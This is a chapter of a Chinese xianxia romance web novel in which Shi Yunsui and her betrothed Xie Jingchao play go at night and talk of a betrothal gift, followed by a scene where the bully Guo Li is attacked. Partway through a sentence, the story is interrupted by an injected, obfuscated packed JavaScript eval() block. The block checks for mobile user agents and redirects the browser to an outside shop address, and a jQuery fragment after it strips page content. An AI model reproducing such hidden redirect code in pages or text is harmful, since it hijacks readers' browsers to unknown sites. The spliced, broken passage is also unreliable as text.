施云岁离开静室时,天色已晚,路边翠绿草叶沾上了晚间的露水。
“幻思笔在皇都丢了,云岁徒儿知晓此事吗?”
在静室时,气氛沉滞,隔着微微拂动的白纱,施云岁察觉到展漠森寒的目光,像条毒蛇,令人不寒而栗。
施云岁知道,因为幻思笔丢失,展漠怀疑到她头上,现在还能维持表面平和,是因为他找不到幻思笔藏在哪里。
之后几日,展漠也一直在找她的不痛快。
施云岁心想幸好自己马上要离开,不然依照展漠的性子,可能要强行搜魂。
这日回去,还没到西棠阁,施云岁余光忽然发现,身后一只灵纸鹤,不远不近跟着她,停落在路边的草叶上。
她蹲在路边打量,抬指接住灵纸鹤,微弱的光照出前方一道瘦高人影。
施云岁抬头看去:“谢惊潮?”
有段日子没见,他今日穿着一身墨蓝色的衣袍,束着高马尾,护腕护肩一应妥帖,眉眼间少了些倨傲,多了些平易近人的感觉。
他出声问她:“你蹲在这里做什么?”
“我看见一只灵纸鹤,以为有人找我。但是——”她抬起指,示意给他看这并不是自己的信,灵纸鹤却忽然打开,两行金文缓缓浮现于眼前:
有约不来过夜半,闲敲棋子落灯花。
施云岁一愣,她自然知道这诗是什么意思,可谁给她发这样的信?
不由看向对面人。
谢惊潮也蹲下来,陪她托着下巴,弯起眉眼,从容道:“正好,我丢了只灵纸鹤,应该就是我的。”
施云岁后知后觉:“你找我啊?”
可是她没有和谢惊潮约好,而且之前他好像生气了,她决定暂时不要去他面前晃悠,免得他又像上次一样,冷冰冰丢下一句:“你以后别来了。”
施云岁当然不可能直接吐露心声,换了个委婉说辞,面色认真:“我本来是打算去找你的。”
谢惊潮没说话,扬起眼帘看她,饶有兴致的目光似乎在问“那你为什么没有来?”
“我打算明日去。”施云岁苦恼,“最近师尊一直有事留我,我没有空闲。”
“那你明日不必去见他了。”
施云岁惊讶睁大眼睛,以为谢惊潮要说出什么“我帮你去揍他一顿”之类的狂妄话。
谢惊潮:“明日我替你去见他。”
施云岁平复了心情:“哦。”
幻思笔又不在他那里,展漠见他干嘛?
不过有人愿意分担火力,施云岁自然愿意,想了想,她忽然抬眼,盯着少年在夜色中显得温柔的眼睛:“你来找我,是想让我哄哄你吗?”
施云岁问完就后悔了,谢惊潮从不委屈自己,他找来灭了她这个罪魁祸首的可能性都更大。虽然施云岁自己也不明白,他为什么要因为一个香囊生气。
她紧张盯着他,决定有任何风吹草动,立马就跑。
晚间的风似乎都静止了,只剩草丛间起伏的细弱虫鸣,将周遭一切细微动静都放大无数倍。
谢惊潮大方承认,看向她身后不远处的西棠阁:“对啊,请我去你那里坐坐吗?”
施云岁没搞明白他的思路是如何迅速转变的,心想他都堵门口了,她难道还能拒绝吗?
两人坐在屋子里下完几盘棋,施云岁已经困得东倒西歪,手臂支着脑袋一点一点。
也许这就是谢惊潮来找她的目的,通过剥夺她的睡眠,达到出气的目的。
施云岁实在撑不住了,慢慢趴在棋盘上,眼前的黑白棋子已经糊成一团,什么也看不清。
在她快要失去意识时,有人将她抱了起来。
那人将她放下时,施云岁终于从困意中挣脱,反手抓住他。
“怎么了?”谢惊潮刚将手从她背下抽出,声音温柔得不像话。见她似乎有话要说,他干脆将手臂撑在她身旁,以俯身的姿态倾听。
施云岁也不知道自己为什么拉住他,好像只是一个下意识的举动,烫到一般松开手:“我忽然想起来,你还没给我聘礼。”
少年似乎瞧出她的口是心非,轻笑一声:“哦,我以为,教你剑法就是聘礼了呢。”
“当然不算!”施云岁这下真是完全清醒了,从没想过有他这么抠门的人。
“那你想要什么聘礼?”他的声音贴得很近,像是低姿态的询问,又像是天空鹰隼压低高度捕猎。
施云岁心跳有些快,她不知道自己在紧张什么,看着少年极近的眼眸,她反问:“谢惊潮,你真的喜欢我吗?”
清冷少年安静看着她,脸上笑意慢慢敛去,眼瞳却在半眛的黑暗中,显得明亮。
那一瞬间,施云岁几乎产生错觉,眼前的人仿佛要落泪了。
施云岁抬手捂住他的眼睛,压住心底慌乱道:“你会下聘吗?聘礼,我要西荒的长吉果。”
长吉果生在边境,传闻有九头大妖看守,采撷之,可庇佑服食的新人白头到老。
谢惊潮拉开她的手,几乎气笑了:“婚期只有一个月了。”
从长境仙山到西荒,往返路途最快都要十日,更别说长吉果并不好找,即使找到,大妖也不是吃醋的。
“是来不及吗?”
“是我会快点赶回来。”
施云岁摇摇头:“我现在不要。”
谢惊潮撑着手臂太累了,干脆陪她一起躺在床上,闻言侧头,投去疑惑目光。
“我要你十年之后给我。”施云岁侧过身子看向他,目光温软得不像话。
十年之后,你依旧会如今夜这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020561|187708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
般喜欢我。
谢惊潮沉默了,长久凝视她,眼中似乎有窗外的月色闪动。
终于,他说:“好。”
“好了,那你走吧,我要休息了。”施云岁困意来袭,打了个呵欠,眼里泛出泪花。
谢惊潮安安静静等着她睡着,呼吸平稳。
“施云岁。”他叫了她一声,少女已经没有动静。
谢惊潮起身离开,站在床边静静看她,“好眠。”
在他离开后,床上的少女睁开了眼,然后重新闭上眼睛睡觉。
她不想要什么长吉果,只是想让谢惊潮相信,她真心想与他成亲。
*
那日当着众人面嘲讽完不识趣的聂恒,郭立迫不及待去找小师妹邀功,妄图得到夸奖。
以前每次,他帮小师妹教训那些不长眼的弟子,顺带贬低小师姐,荼山梨哪怕觉得他恃强凌弱不好,也会感动于他的情意。
郭立想,终有一天,他能打动小师妹。
哪知这次,荼山梨态度冷淡,余光都没分给他一丝,语气疏离:“郭师兄,以后不要再做这样多余的事。小师姐马上要和小师叔成亲,我们应该诚心祝福她,不要给她找麻烦。”
郭立都听愣了,往常小师妹不是最烦小师姐和小师叔扯一块吗?今日说话怎么这么奇怪?
他迷迷糊糊,觉得可能是自己做的事不讨喜,惹小师妹不痛快。
但他向来不会责怪自己,都怪聂恒!对,都怪他!
郭立郁闷了好几日,又听说聂恒输给了施云岁,心头烦闷堆叠,看谁都不顺眼,又想去揍聂恒一顿。
郭立没回弟子院,气冲冲往更远的柴房而去,中途遇上几个狐朋狗友。他们都是仙门世家的子弟,手上灵石多,自然能混到一块去。
何鼎遥遥唤了一声:“欸,郭兄,和那个小畜生计较什么?走,去青月坊。”
青月坊是仙山的酒肆,价格昂贵,像聂恒那种靠微薄补贴的普通弟子当然去不起,只有他们这种世家子弟能负担。
“不去。”郭立面色阴寒。
见劝不动,何鼎等人相对而笑,不再管这破事。
柴房外,竹林翠绿,枝桠横斜。
入了夜,风一吹,竹叶森森而动,像一片片鱼鳞被逆着摸了过去。
郭立提着酒坛,喝得酩酊大醉,一脚踹开柴门:“滚出来。”
他自然不敢找施云岁的晦气。再如何说,施云岁是宗主亲传弟子,生来仙骨,又要嫁给小师叔,比他身份高贵得多。
柿子都要挑软的捏,他要出气,自然找聂恒。
郭立以为,还会如往常般得手,没想到踹开门,黑气森森,一只大手扼上他脖子!
妖孽!
郭立的惊呼被掐断在喉咙里。